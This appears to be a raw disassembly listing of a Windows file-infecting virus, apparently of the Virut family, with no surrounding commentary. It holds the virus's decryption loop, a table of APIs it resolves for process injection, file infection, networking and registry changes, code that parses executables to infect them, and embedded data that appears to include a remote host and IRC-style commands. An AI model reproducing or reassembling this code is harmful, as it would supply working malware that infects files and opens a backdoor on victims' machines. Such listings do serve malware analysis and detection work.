		test	eax, eax
		jz	short loc_60E15C
		push	eax
		call	dword ptr [ebp+403544h]
		test	eax, eax
		jnz	short loc_60E156
		lea	eax, [ebp+4011D2h]


loc_60E14C:				; CODE XREF: Themida_:0060E10Bj
		mov	dl, [eax-1]


loc_60E14F:				; CODE XREF: Themida_:0060E0EAj
		call	sub_60E1C2
		jmp	short loc_60E1D2
; ---------------------------------------------------------------------------


loc_60E156:				; CODE XREF: sub_60E129+1Bj
					; sub_60E129+136j ...
		call	dword ptr [ebp+40353Ch]


loc_60E15C:				; CODE XREF: sub_60E129+10j
		test	ss:dword_403431[ebp], 80000000h
		jz	short loc_60E186


loc_60E168:				; CODE XREF: Themida_:0060E102j
					; Themida_:0060E105j ...
		lea	esi, byte_403435[ebp]


loc_60E16E:				; CODE XREF: Themida_:0060E108j
		mov	edi, [esp+4]
		movsb
		movsd
		mov	ebx, [ebp+4039B2h]
		mov	esi, [ebp+4039B6h]
		mov	edi, dword ptr ss:loc_4039BA[ebp]


loc_60E186:				; CODE XREF: sub_60E129+3Dj
		pop	ebp
		retn
sub_60E129	endp

; ---------------------------------------------------------------------------


loc_60E188:				; CODE XREF: sub_60E1A7+2p
					; sub_60E129:loc_60E391p
		pop	edx
		push	0
		push	0
		push	0
		push	0
		push	40001h
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_60E197:				; CODE XREF: Themida_:0060E121j
					; Themida_:0060E124j
		les	ebp, [edx+0]
		push	eax
		push	0Ch
		mov	eax, esp
		jmp	edx
; ---------------------------------------------------------------------------
aVt_3		db 'VT_3',0
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_60E1A7	proc near		; CODE XREF: sub_60E129+9p
					; Themida_:loc_60EE4Cp
		xor	ecx, ecx
		call	loc_60E188
		lea	edx, [ebp+4011A1h]
		push	edx
		push	ecx
		push	ecx
		push	eax
		call	dword ptr [ebp+403540h]
		add	esp, 20h
		retn
sub_60E1A7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_60E1C2	proc near		; CODE XREF: sub_60E129:loc_60E14Fp
					; sub_60FF96+25Bp
		mov	dh, dl
		mov	ecx, 225Fh


loc_60E1C9:				; CODE XREF: sub_60E1C2+Cj
		xor	[eax], dl
		inc	eax
		add	dl, dh
		loop	loc_60E1C9
		retn
sub_60E1C2	endp

; ---------------------------------------------------------------------------
		db 78h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_60E129


loc_60E1D2:				; CODE XREF: sub_60E129+2Bj
		and	dword ptr [ebp+401580h], 0
		and	dword ptr [ebp+401584h], 0
		and	dword ptr [ebp+401588h], 0
		mov	eax, ss:dword_403431[ebp]
		xor	ecx, ecx
		push	1
		mov	cl, 20h
		pop	dword ptr [ebp+40397Eh]


loc_60E1F9:				; CODE XREF: sub_60E129+E0j
		xor	edx, edx
		shr	eax, 1
		setb	dl
		shl	dl, 3
		add	[ebp+40397Eh], edx
		loop	loc_60E1F9
		push	edi
		mov	byte ptr [ebp+401303h],	1
		mov	[ebp+403548h], esi
		lea	esi, [ebp+4015BBh]
		xor	ecx, ecx
		lea	edi, [ebp+403558h]
		mov	cl, 1Eh
		call	sub_60E58C
		pop	edi
		call	dword ptr [ebp+403594h]
		shr	eax, 1Fh
		jz	loc_60E312
		mov	eax, [edi+14h]
		push	40h
		add	eax, ebx
		push	8001000h
		mov	[ebp+403550h], eax
		push	69CEh
		push	0
		call	dword ptr [ebp+4035C8h]
		test	eax, eax
		jz	loc_60E156
		xchg	eax, edi
		lea	esi, byte_401000[ebp]
		mov	ebp, edi
		mov	ecx, 0A74h
		sub	ebp, offset byte_401000
		lea	edx, [ebp+401283h]
		rep movsd
		jmp	edx
; END OF FUNCTION CHUNK	FOR sub_60E129
; ---------------------------------------------------------------------------
		sub	esp, 20h
		mov	edi, esp
		push	8
		xor	eax, eax
		pop	ecx
		lea	edx, [ebp+401A3Dh]
		rep stosd
		mov	edi, esp
		mov	[edi+10h], edx
		inc	byte ptr [edi+1Ch]
		push	edi
		push	10003h
		call	dword ptr [ebp+403550h]
		add	esp, 20h
		test	eax, eax
		jz	loc_60E156
		xchg	eax, edi
		push	0
		push	1
		push	80000400h
		push	10000h
		call	dword ptr [ebp+403550h]
		test	eax, eax
		jz	loc_60E156
		push	0
		push	eax
		push	40000h
		push	0
		shr	eax, 0Ch
		push	edi
		push	1
		push	eax
		push	10001h
		call	dword ptr [ebp+403550h]
		push	1000Ah
		call	dword ptr [ebp+403550h]
		call	sub_60E302
		jmp	loc_60E156

; =============== S U B	R O U T	I N E =======================================



sub_60E302	proc near		; CODE XREF: Themida_:0060E2F8p
					; sub_60E302+Dj
		push	1
		pop	ecx
		jecxz	short locret_60E311
		push	0Ah
		call	dword ptr [ebp+4035BCh]
		jmp	short sub_60E302
; ---------------------------------------------------------------------------

locret_60E311:				; CODE XREF: sub_60E302+3j
		retn
sub_60E302	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_60E129


loc_60E312:				; CODE XREF: sub_60E129+10Fj
		cmp	dword ptr ss:loc_403570[ebp], 0
		jz	loc_60E156
		call	near ptr loc_60E329+1
		dec	esi
		push	esp
		inc	esp
		dec	esp
		dec	esp


loc_60E329:				; CODE XREF: sub_60E129+1F6p
		add	bh, bh
		xchg	eax, ebp
		mov	ds:0B58D0040h, dh
		jnb	short near ptr loc_60E346+5
		inc	eax
		add	[ebx], dh
		leave
		lea	edi, [ebp+4035D0h]
		mov	cl, 0Bh
		xchg	eax, ebx
		call	sub_60E58C


loc_60E346:				; CODE XREF: sub_60E129+209j
		cmp	dword ptr [ebp+4035F8h], 0
		jz	loc_60E156
		mov	eax, [ebp+4035D4h]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+403395h]
		mov	eax, [ebp+4035E8h]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+4033E2h]
		mov	eax, [ebp+4035D8h]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+4033E9h]
		mov	ecx, dword ptr ss:loc_4035DC[ebp]
		jecxz	short loc_60E391
		push	dword ptr [ecx+1]
		pop	dword ptr [ebp+4033F6h]


loc_60E391:				; CODE XREF: sub_60E129+25Dj
		call	loc_60E188
		lea	edi, locret_40364E[ebp]
		mov	ecx, edi
		push	0
		neg	cl
		push	dword ptr [eax+4]
		and	ecx, 3
		push	40h
		add	edi, ecx
		push	edi
		push	0
		push	18h
		lea	esi, [ebp+40159Fh]
		mov	ecx, 1Ch
		mov	edx, esp
		lea	eax, ds:0FFFFFFFEh[ecx*2]
		stosw
		lea	eax, ds:0[ecx*2]
		stosw
		lea	eax, [edi+4]
		stosd
		xor	ah, ah


loc_60E3D6:				; CODE XREF: sub_60E129+2B0j
		lodsb
		stosw
		loop	loc_60E3D6
		push	0
		push	69CEh
		mov	ecx, esp
		push	0
		mov	eax, esp
		push	0
		push	8000000h
		push	40h
		push	ecx
		push	edx
		push	0Eh
		push	eax
		call	dword ptr [ebp+4035E0h]
		pop	eax
		add	esp, 40h
		push	69CEh
		mov	edx, esp
		push	0
		mov	ecx, esp
		push	40h
		push	0
		push	2
		push	edx
		push	0
		push	69CEh
		push	0
		push	ecx
		push	0FFFFFFFFh
		push	eax
		call	dword ptr [ebp+4035E4h]
		pop	edi
		pop	ecx
		test	edi, edi
		jz	loc_60E156
		lea	esi, byte_401000[ebp]
		mov	ecx, 0A74h
		mov	ebp, edi
		rep movsd
		sub	ebp, offset byte_401000
		lea	eax, sub_40144C[ebp]
		jmp	eax
; END OF FUNCTION CHUNK	FOR sub_60E129
; ---------------------------------------------------------------------------
		db  8Dh	; 
		db 95h,	0E0h, 18h
		db  40h	; @
		align 2
		dw 0FF52h
		db  95h	; 
		dd offset loc_40359B+1
		db 0E8h, 16h, 0
		db    0
		align 2
aLookupprivileg	db 'LookupPrivilegeValueA',0
		dd 4895FF50h, 89004035h, 40354C85h, 6A545000h, 0FFFF6A20h
		dd 4035EC95h, 5FC08500h, 6A963F75h, 8B565602h, 52016AD4h
		dd 11E8h, 44655300h, 67756265h,	76697250h, 67656C69h, 0FF560065h
		dd 40354C95h, 56C48B00h, 56505656h, 0D095FF57h,	83004035h
		dd 0FF5710C4h, 40353C95h, 6A006A00h, 7095FF02h,	0B9004035h
		dd 128h, 89E12B97h, 5754240Ch, 35AC95FFh, 0F6330040h, 363CA583h
		dd 54000040h, 0B095FF57h, 85004035h, 465C74C0h,	7204FE83h
		dd 2474FFEEh, 6A006A08h, 0A895FF2Ah, 85004035h,	93DC74C0h
		dd 43DE8h, 91C93300h, 853930E3h, 40363Ch, 0C1812875h, 0DAEh
		dd 56505450h, 53505051h, 356895FFh, 0C0850040h,	0FF0F7459h
		dd 8F082474h, 40363C85h, 0FDACE800h, 0FF53FFFFh, 40353C95h
		dd 8198EB00h, 128C4h, 95FF5700h, 40353Ch, 0FFFBE5E9h, 498DFFh
		dd 585858h, 29CEh, 0D65h, 3 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_60E58C	proc near		; CODE XREF: sub_60E129+100p
					; sub_60E129+218p ...
		push	ecx
		push	esi
		push	ebx
		call	dword ptr [ebp+403548h]
		stosd
		pop	ecx


loc_60E597:				; CODE XREF: sub_60E58C+Ej
		lodsb
		test	al, al
		jnz	short loc_60E597
		loop	sub_60E58C
		retn
sub_60E58C	endp

; ---------------------------------------------------------------------------
aBasenamedobjec	db '\BaseNamedObjects\W32_Virtu',0
aLstrlen	db 'lstrlen',0
aCreatefilea	db 'CreateFileA',0
aCreatefilemapp	db 'CreateFileMappingA',0
aCreateprocessa	db 'CreateProcessA',0
aCreateremoteth	db 'CreateRemoteThread',0
aCreatethread	db 'CreateThread',0
aCreatetoolhe_0	db 'CreateToolhelp32Snapshot',0
aExitthread	db 'ExitThread',0
aFiletimetosyst	db 'FileTimeToSystemTime',0
aGetfileattribu	db 'GetFileAttributesA',0
aGetfilesize	db 'GetFileSize',0
aGetfiletime	db 'GetFileTime',0
aGetmodulehandl	db 'GetModuleHandleA',0
aGettempfilenam	db 'GetTempFileNameA',0
aGettemppatha	db 'GetTempPathA',0
aGetversion	db 'GetVersion',0
aGetversionexa	db 'GetVersionExA',0
aLoadlibrarya	db 'LoadLibraryA',0
aMapviewoffile	db 'MapViewOfFile',0
aOpenfilemappin	db 'OpenFileMappingA',0
aOpenprocess	db 'OpenProcess',0
aProcess32fir_0	db 'Process32First',0
aProcess32nex_0	db 'Process32Next',0
aSetfileattribu	db 'SetFileAttributesA',0
aSetfiletime	db 'SetFileTime',0
aSleep		db 'Sleep',0
aSystemtimetofi	db 'SystemTimeToFileTime',0
aUnmapviewoffil	db 'UnmapViewOfFile',0
aVirtualalloc	db 'VirtualAlloc',0
aWritefile	db 'WriteFile',0
aNtadjustprivil	db 'NtAdjustPrivilegesToken',0
aNtcreatefile	db 'NtCreateFile',0
aNtcreateproces	db 'NtCreateProcess',0
aNtcreateproc_0	db 'NtCreateProcessEx',0
aNtcreatesectio	db 'NtCreateSection',0
aNtmapviewofsec	db 'NtMapViewOfSection',0
aNtopenfile	db 'NtOpenFile',0
aNtopenprocesst	db 'NtOpenProcessToken',0
aNtprotectvirtu	db 'NtProtectVirtualMemory',0
aNtwritevirtual	db 'NtWriteVirtualMemory',0
aRtlunicodestri	db 'RtlUnicodeStringToAnsiString',0
aWsastartup	db 'WSAStartup',0
aClosesocket	db 'closesocket',0
aConnect_1	db 'connect',0
aGethostbynam_0	db 'gethostbyname',0
aRecv		db 'recv',0
aSend		db 'send',0
aSocket_0	db 'socket',0
aInternetcloseh	db 'InternetCloseHandle',0
aInternetgetcon	db 'InternetGetConnectedState',0
aInternetopena	db 'InternetOpenA',0
aInternetopenur	db 'InternetOpenUrlA',0
aInternetreadfi	db 'InternetReadFile',0
aAdvapi32_dll	db 'ADVAPI32.DLL',0
aRegclosekey	db 'RegCloseKey',0
aRegopenkeyexa	db 'RegOpenKeyExA',0
aRegqueryvaluee	db 'RegQueryValueExA',0
aRegsetvalueexa	db 'RegSetValueExA',0

; =============== S U B	R O U T	I N E =======================================



sub_60E927	proc near		; CODE XREF: Themida_:0060E9CEp
					; Themida_:0060E9DFp ...

var_5		= byte ptr -5

		sub	ecx, 5
		sub	ecx, eax
		push	ecx
		push	0E8000000h
		lea	ecx, [esp+8+var_5]
		push	0
		push	5
		push	ecx
		push	eax
		push	ebx
		push	5
		mov	ecx, esp
		push	eax
		mov	edx, esp
		push	eax
		push	esp
		push	40h
		push	ecx
		push	edx
		push	ebx
		call	dword ptr [ebp+4035F0h]
		add	esp, 0Ch
		call	dword ptr [ebp+4035F4h]
		add	esp, 8
		retn
sub_60E927	endp

; ---------------------------------------------------------------------------
		push	edi
		lea	eax, [ebp+4015B1h]
		xor	edi, edi
		push	eax
		push	0
		push	0Eh
		call	dword ptr [ebp+4035A4h]
		test	eax, eax
		jz	loc_60EA0A
		push	eax
		push	69CEh
		mov	edx, esp
		push	0
		mov	ecx, esp
		push	40h
		push	100000h
		push	2
		push	edx
		push	0
		push	69CEh
		push	0
		push	ecx
		push	ebx
		push	eax
		call	dword ptr [ebp+4035E4h]
		pop	edi
		pop	ecx
		call	dword ptr [ebp+40353Ch]
		test	edi, edi
		jz	short loc_60EA0A
		mov	ecx, [ebp+401588h]
		jecxz	short loc_60E9C2
		lea	edx, byte_401000[ebp]
		add	edx, ecx
		push	edi
		push	ebx
		call	edx


loc_60E9C2:				; CODE XREF: Themida_:0060E9B4j
		mov	eax, [ebp+4035D4h]
		lea	ecx, [edi+2394h]
		call	sub_60E927
		mov	eax, [ebp+4035E8h]
		lea	ecx, [edi+23E1h]
		call	sub_60E927
		mov	eax, [ebp+4035D8h]
		lea	ecx, [edi+23E8h]
		call	sub_60E927
		mov	eax, dword ptr ss:loc_4035DC[ebp]
		test	eax, eax
		jz	short loc_60EA0A
		lea	ecx, [edi+23F5h]
		call	sub_60E927


loc_60EA0A:				; CODE XREF: Themida_:0060E974j
					; Themida_:0060E9ACj ...
		mov	eax, edi
		pop	edi
		retn
; ---------------------------------------------------------------------------
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, offset sub_401A14
		xor	ecx, ecx
		lea	eax, [ebp+401DAEh]
		push	ecx
		push	esp
		push	ecx
		push	ecx
		push	eax
		push	ecx
		push	ecx
		call	dword ptr [ebp+40356Ch]
		xchg	eax, [esp]
		call	dword ptr [ebp+40353Ch]
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 55h,	0E8h, 0
		dd 5D000000h, 1A43ED81h, 0FF6A0040h, 1A0E958Dh,	52500040h
		dd 2420CDh, 0C483002Ah,	85C7660Ch, 401A54h, 85C720CDh
		dd 401A56h, 2A0024h, 16AC35Dh, 33FF016Ah, 0FF0473FFh, 74C08515h
		dd 0B68F0h, 0D08B0000h,	3C50035Bh, 1A72B58Dh, 0BA8B0040h
		dd 10Ch, 1088A8Bh, 0F8030000h, 8B60CB2Bh, 61A6F3CBh, 0E2470574h
		dd 83C2EBF5h, 8B570FC7h, 0CC8B53D4h, 406A5450h,	0FF6A5251h
		dd 35F095FFh, 0C4830040h, 74958B0Ch, 2B004035h,	7EA83D7h
		dd 6A07C7h, 578900E8h, 1A6AC303h, 9E858h, 428D0000h, 0C9FEAA61h
		db 75h,	0F0h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_60EAEF	proc near		; CODE XREF: sub_60F35A+1Bp
					; sub_60F4D2+3p ...
		imul	edx, [ebp+403646h], 8088405h
		inc	edx
		mov	[ebp+403646h], edx
		mul	edx
		retn
sub_60EAEF	endp

; ---------------------------------------------------------------------------
		db 55h
		dd 0E8h, 0ED815D00h, 401B09h, 364A9D8Bh, 7C830040h, 0F000824h
		dd 0B984h, 8EC8100h, 54000002h,	10468h,	9095FF00h, 8B004035h
		dd 24848DFCh, 104h, 0E8006A50h,	4, 545256h, 8C95FF57h
		dd 33004035h, 4978DC9h,	51000001h, 51026A51h, 68016Ah
		dd 52400000h, 355C95FFh, 85960040h, 505B74F6h, 1046854h
		dd 0FF570000h, 22024B4h, 95FF0000h, 403628h, 74C08559h
		dd 5014E316h, 6AD48Bh, 56575152h, 35CC95FFh, 85590040h
		dd 56D075C0h, 353C95FFh, 578D0040h, 6A575244h, 978D5844h
		dd 104h, 6AC033ABh, 0ABF35910h,	50505050h, 52505050h, 356495FFh
		dd 0C4810040h, 208h, 82474FFh, 361895FFh, 0FF530040h, 40361895h
		dd 4C25D00h, 0A3E8000h,	8B460175h, 4015848Dh, 8D19E300h
		dd 40100095h, 56D10300h, 0C084D2FFh, 11F880Fh, 840F0000h
		dd 110h, 753A3E80h, 3E804610h, 1840F00h, 80000001h, 0F175203Eh
		dd 503E8146h, 75474E49h, 0C6CF8B42h, 2B4F0146h,	6A51CEh
		dd 0FF535651h, 40361095h, 0C13B5900h, 0DF850Fh,	858D0000h
		dd 401DA2h, 0C68006Ah, 50000000h, 1095FF53h, 3D004036h
		dd 0Ch,	0BF850Fh, 0B1E90000h, 81000000h, 4952503Eh, 0A5850F56h
		dd 83000000h, 3CAC08C6h, 99840F0Dh, 3C000000h, 0ACF37520h
		dd 850F3A3Ch, 8Ch, 20200DADh, 213D2020h, 75746567h, 203CAC7Fh
		dd 7E817C75h, 746820FFh, 81717574h, 3A70037Eh, 68752F2Fh
		dd 0FF47C6h, 10BA310Fh,	0F7000027h, 95FF52E2h, 4035BCh
		dd 5050C033h, 9E85050h,	44000000h, 6C6E776Fh, 64616Fh
		dd 362095FFh, 0C0850040h, 0C9333674h, 364A8589h, 68510040h
		dd 80000200h, 50565151h, 362495FFh, 958D0040h, 401B03h
		dd 54C93350h, 51525051h, 6C95FF51h, 87004035h, 95FF2404h
		dd 40353Ch, 8D80C3F8h, 401577h,	53C3F901h, 5754464Fh, 5C455241h
		dd 7263694Dh, 666F736Fh, 69575C74h, 776F646Eh, 75435C73h
		dd 6E657272h, 72655674h, 6E6F6973h, 7078455Ch, 65726F6Ch
		dd 61540072h, 74656772h, 74736F48h, 0FF000200h,	897255F0h
		dd 6F72703Ch, 2E6D6978h, 67637269h, 78616C61h, 6C702E79h
		dd 43494E00h, 736D204Bh, 6B726364h, 550A7677h, 20524553h
		dd 30323074h, 20313035h, 202E202Eh, 4F4A2D3Ah, 26204E49h
		dd 74726976h, 0E8550A75h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 401DB4h
		mov	byte ptr [ebp+401577h],	0
		call	dword ptr [ebp+403594h]
		shr	eax, 1Fh
		jz	short loc_60EE09
		push	1Eh
		mov	esi, [ebp+403550h]
		pop	ecx


loc_60EDD6:				; CODE XREF: Themida_:loc_60EE05j
		lodsb
		cmp	al, 2Eh
		jnz	short loc_60EE05
		cmp	word ptr [esi],	1DFFh
		jnz	short loc_60EE05
		lea	edi, loc_403640[ebp]
		mov	esi, [esi+2]
		push	edi
		movsd
		movsw
		lea	eax, [ebp+40336Ah]
		pop	dword ptr [ebp+403390h]
		cli
		mov	[esi-6], eax
		mov	word ptr [esi-2], cs
		sti
		mov	cl, 1


loc_60EE05:				; CODE XREF: Themida_:0060EDD9j
					; Themida_:0060EDE0j
		loop	loc_60EDD6
		jmp	short loc_60EE4C
; ---------------------------------------------------------------------------


loc_60EE09:				; CODE XREF: Themida_:0060EDCBj
		lea	eax, [ebp+4015B1h]
		push	eax
		push	0
		push	0Eh
		call	dword ptr [ebp+4035A4h]
		cmp	dword ptr [esp+8], 4
		jnz	short loc_60EE4C
		call	near ptr loc_60EE29+1
		push	ebx
		inc	esi
		inc	ebx


loc_60EE29:				; CODE XREF: Themida_:0060EE21p
		add	bh, bh
		xchg	eax, ebp
		mov	ds:48E80040h, dh
		cld
; ---------------------------------------------------------------------------
		db 0FFh
		dd 7E8FFh, 46530000h, 534F5F43h, 8895FF00h, 0E8004035h
		dd 0FFFFFC31h
; ---------------------------------------------------------------------------


loc_60EE4C:				; CODE XREF: Themida_:0060EE07j
					; Themida_:0060EE1Fj
		call	sub_60E1A7
		dec	dword ptr [ebp+401303h]
		call	near ptr loc_60EE66+1
		push	ebp
		push	ebx
		inc	ebp
		push	edx
		xor	esi, [edx]
		db	2Eh
		inc	esp
		dec	esp
		dec	esp


loc_60EE66:				; CODE XREF: Themida_:0060EE57p
		add	bh, bh
		xchg	eax, ebp
		pushf
		xor	eax, 0AE80040h
; ---------------------------------------------------------------------------
		db 0
		dd 73770000h, 6E697270h, 416674h, 4895FF50h, 89004035h
		dd 40355485h, 8D310F00h, 4018E08Dh, 46858900h, 51004036h
		dd 359C95FFh, 68930040h, 4, 18EDB58Dh, 8D590040h, 40362CBDh
		dd 0F6D6E800h, 0C766FFFFh, 401D6785h, 83F0FF00h, 401D69A5h
		dd 958D0000h, 401D27h, 16A5450h, 6852006Ah, 80000002h
		dd 363095FFh, 0C0850040h, 8D22755Ah, 401D5A8Dh,	66A5200h
		dd 1D67B58Dh, 56540040h, 52515050h, 363495FFh, 0FF580040h
		dd 40362C95h, 4D85C600h, 4038h,	0CE8h, 4F535700h, 32334B43h
		dd 4C4C442Eh, 9C95FF00h, 93004035h, 768h, 44B58D00h, 59004018h
		dd 35FCBD8Dh, 51E80040h, 0E8FFFFF6h, 0Ch, 494E4957h, 2E54454Eh
		dd 4C4C44h, 359C95FFh, 0C0850040h, 1E7840Fh, 68930000h
		dd 5, 1882B58Dh, 8D590040h, 403618BDh, 0F61AE800h, 0BD83FFFFh
		dd 40361Ch, 0C2840F00h,	81000001h, 190ECh, 1685400h, 0FF000001h
		dd 4035FC95h, 90C48100h, 50000001h, 6AD48Bh, 1C95FF52h
		dd 85004036h, 0D7559C0h, 138868h, 0BC95FF00h, 0EB004035h
		dd 69BD83E2h, 401Dh, 858D2975h,	401D6Dh, 895FF50h, 85004036h
		dd 3B840FC0h, 8B000001h, 8B0C40h, 858F30FFh, 401D69h, 384D85C6h
		dd 6A010040h, 6A016A00h, 1495FF02h, 83004036h, 840FFFF8h
		dd 112h, 65958D93h, 6A00401Dh, 0FF535210h, 40360495h, 0FC08500h
		dd 0F285h, 86BD8D00h, 0B100401Dh, 0FABCE808h, 9468FFFFh
		dd 5E000000h, 3489E62Bh, 95FF5424h, 403598h, 1D94BD8Dh
		dd 1B10040h, 0FFFA9DE8h, 24448BFFh, 8E0C110h, 424440Bh
		dd 0B08E0C1h, 50082444h, 5E8h, 362E2500h, 0FF570078h, 40355495h
		dd 0CC48300h, 200647C6h, 1D81958Dh, 6A0040h, 2168h, 0FF535200h
		dd 40361095h, 247C8D00h, 95FF5714h, 403558h, 0A3804C6h
		dd 50006A40h, 95FF5357h, 403610h, 0BD8DE603h, 401DA2h
		dd 0C68006Ah, 57000000h, 1095FF53h, 3D004036h, 0Ch, 0B58D4D75h
		dd 40364Eh, 384D8D8Dh, 0CE2B0040h, 5651006Ah, 0C95FF53h
		dd 83004036h, 2F7E00F8h, 8DFE8B91h, 40364EB5h, 0F20DB000h
		dd 601075AEh, 0FFFAF8E8h, 177261FFh, 778D09E3h,	8BEAEB01h
		dd 8DCE2BCFh, 40364EBDh, 87A4F300h, 53B9EBF7h, 360095FFh
		dd 0BD800040h, 401577h,	682A7401h, 7530h, 35BC95FFh, 0BD800040h
		dd 40384Dh, 0C7117400h,	401D6985h, 0
		dd 4D85C600h, 4038h, 0FFFE56E9h, 8085C7FFh, 4015h, 5D800000h
		dd 0D0004C2h, 6E204F0Ah, 206E6F6Fh, 6C20666Fh, 21656669h
		dd 74204F20h, 20656D69h, 63206F74h, 62656C65h, 65746172h
		dd 200A0D21h, 20202020h, 7573204Fh, 72656D6Dh, 72616720h
		dd 216E6564h, 65520A0Dh, 746E656Ch, 7373656Ch, 6820796Ch
		dd 79707061h, 646E6120h, 70786520h, 61746365h, 202C746Eh
		dd 6E617473h, 676E6964h, 0D2D203Ah, 7461570Ah, 6E696863h
		dd 6C612067h, 6164206Ch, 6E612079h, 696E2064h, 2C746867h
		dd 726F6620h, 69726620h, 73646E65h, 77204920h, 3A746961h
		dd 68570A0Dh, 20657265h, 20657261h, 2C756F79h, 69726620h
		dd 73646E65h, 6F43203Fh, 2021656Dh, 69207449h, 69742073h
		dd 2021656Dh, 73277449h, 74616C20h, 0A0D2165h, 3AAB5957h
		dd 30C78404h, 27B1FAE5h, 10A61429h, 1A73C17Eh, 0F8C4A684h
		dd 0C26CCC5Ch, 40375248h, 4FD479EDh, 0EDBB131Eh, 10A61413h
		dd 6299AD47h, 606EF96Ah, 2E8E13B3h, 0D8B8B352h,	11h dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_60F2A4	proc near		; CODE XREF: sub_60F2EB:loc_60F348p
					; sub_60F3AB+7p ...

arg_0		= dword	ptr  4

		pusha
		and	dword ptr ss:(loc_4039A5+1)[ebp], 0
		and	dword ptr ss:loc_4039AA[ebp], 0
		movzx	eax, word ptr [ebx+14h]
		lea	edx, [ebx+18h]
		movzx	ecx, word ptr [ebx+6]
		add	edx, eax


loc_60F2C0:				; CODE XREF: sub_60F2A4+41j
		mov	eax, [esp+20h+arg_0]
		sub	eax, [edx+0Ch]
		jb	short loc_60F2E2
		cmp	eax, [edx+8]
		jnb	short loc_60F2E2
		mov	eax, [edx+14h]
		sub	eax, [edx+0Ch]
		mov	dword ptr ss:(loc_4039A5+1)[ebp], edx
		mov	dword ptr ss:loc_4039AA[ebp], eax
		jmp	short loc_60F2E7
; ---------------------------------------------------------------------------


loc_60F2E2:				; CODE XREF: sub_60F2A4+23j
					; sub_60F2A4+28j
		add	edx, 28h
		loop	loc_60F2C0


loc_60F2E7:				; CODE XREF: sub_60F2A4+3Cj
		popa
		retn	4
sub_60F2A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_60F2EB	proc near		; CODE XREF: Themida_:0060F617p
					; Themida_:0060F63Dp
		mov	byte ptr ss:dword_4022F7[ebp], al
		call	sub_60F35A
		push	20h
		lea	eax, (sub_402220+4)[ebp]
		pop	ecx


loc_60F302:				; CODE XREF: sub_60F2EB+1Ej
		cmp	[eax], ebx
		jz	short loc_60F312
		add	eax, 4
		loop	loc_60F302
		inc	dword ptr ss:(loc_40398A+4)[ebp]
		retn
; ---------------------------------------------------------------------------


loc_60F312:				; CODE XREF: sub_60F2EB+19j
		neg	ecx
		add	ecx, ss:dword_4022F7[ebp]
		jecxz	short loc_60F32C


loc_60F31C:				; CODE XREF: sub_60F2EB+39j
		push	dword ptr [eax-4]
		pop	dword ptr [eax]
		sub	eax, 4
		loop	loc_60F31C
		mov	dword ptr ss:(sub_402220+4)[ebp], ebx


loc_60F32C:				; CODE XREF: sub_60F2EB+2Fj
					; sub_60F35A+34j
		cmp	dword ptr [edx], 0
		jz	short loc_60F336
		sub	esi, [edx]
		add	esi, [edx+10h]


loc_60F336:				; CODE XREF: sub_60F2EB+44j
		lea	ecx, [esi-4]
		pop	eax
		pop	ebx
		pop	esi
		cmp	dword ptr [edx], 0
		jz	short loc_60F345
		push	dword ptr [edx]
		jmp	short loc_60F348
; ---------------------------------------------------------------------------


loc_60F345:				; CODE XREF: sub_60F2EB+54j
		push	dword ptr [edx+10h]


loc_60F348:				; CODE XREF: sub_60F2EB+58j
		call	sub_60F2A4
		sub	ecx, esi
		sub	ecx, dword ptr ss:loc_4039AA[ebp]
		pop	eax
		add	ecx, [ebx+34h]
		retn
sub_60F2EB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_60F35A	proc near		; CODE XREF: sub_60F2EB+6p
		pop	dword ptr ss:(loc_403990+2)[ebp]
		mov	dword ptr ss:(loc_40398A+4)[ebp], 0
		call	sub_60F3AB
		mov	eax, dword ptr ss:(loc_40398A+4)[ebp]
		call	sub_60EAEF
		call	sub_60F397
		cmp	dword ptr ss:(loc_40398A+4)[ebp], 0
		jnz	short loc_60F390
		mov	ss:dword_4022A0[ebp], ebx
		jmp	short loc_60F32C
; ---------------------------------------------------------------------------


loc_60F390:				; CODE XREF: sub_60F35A+2Cj
		dec	dword ptr ss:(loc_40398A+4)[ebp]
		retn
sub_60F35A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_60F397	proc near		; CODE XREF: sub_60F35A+20p
		pop	dword ptr ss:(loc_403990+2)[ebp]
		mov	dword ptr ss:(loc_40398A+4)[ebp], edx
		call	sub_60F3AB
		xor	ecx, ecx
		retn
sub_60F397	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_60F3AB	proc near		; CODE XREF: sub_60F35A+10p
					; sub_60F397+Cp ...

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	edx, [ebx+80h]
		push	edx
		call	sub_60F2A4
		add	edx, dword ptr ss:loc_4039AA[ebp]
		add	edx, esi


loc_60F3BF:				; CODE XREF: sub_60F3AB+120j
		cmp	dword ptr [edx+0Ch], 0
		jz	locret_60F4D0
		cmp	dword ptr [edx+10h], 0
		jz	locret_60F4D0
		mov	eax, [edx+0Ch]
		push	eax
		call	sub_60F2A4
		add	eax, dword ptr ss:loc_4039AA[ebp]
		add	eax, esi
		push	eax


loc_60F3E5:				; CODE XREF: sub_60F3AB+47j
		mov	cl, [eax]
		cmp	cl, 0
		jz	short loc_60F405
		cmp	cl, 2Eh
		jz	short loc_60F3F4


loc_60F3F1:				; CODE XREF: sub_60F3AB+58j
		inc	eax
		jmp	short loc_60F3E5
; ---------------------------------------------------------------------------


loc_60F3F4:				; CODE XREF: sub_60F3AB+44j
		mov	ecx, [eax+1]
		and	ecx, 0DFDFDFDFh
		cmp	ecx, offset dword_4C4C44
		jnz	short loc_60F3F1


loc_60F405:				; CODE XREF: sub_60F3AB+3Fj
		pop	ecx
		sub	ecx, eax
		cmp	ecx, 0FFFFFFFAh
		jg	loc_60F4C8
		cmp	word ptr [eax-2], 3233h
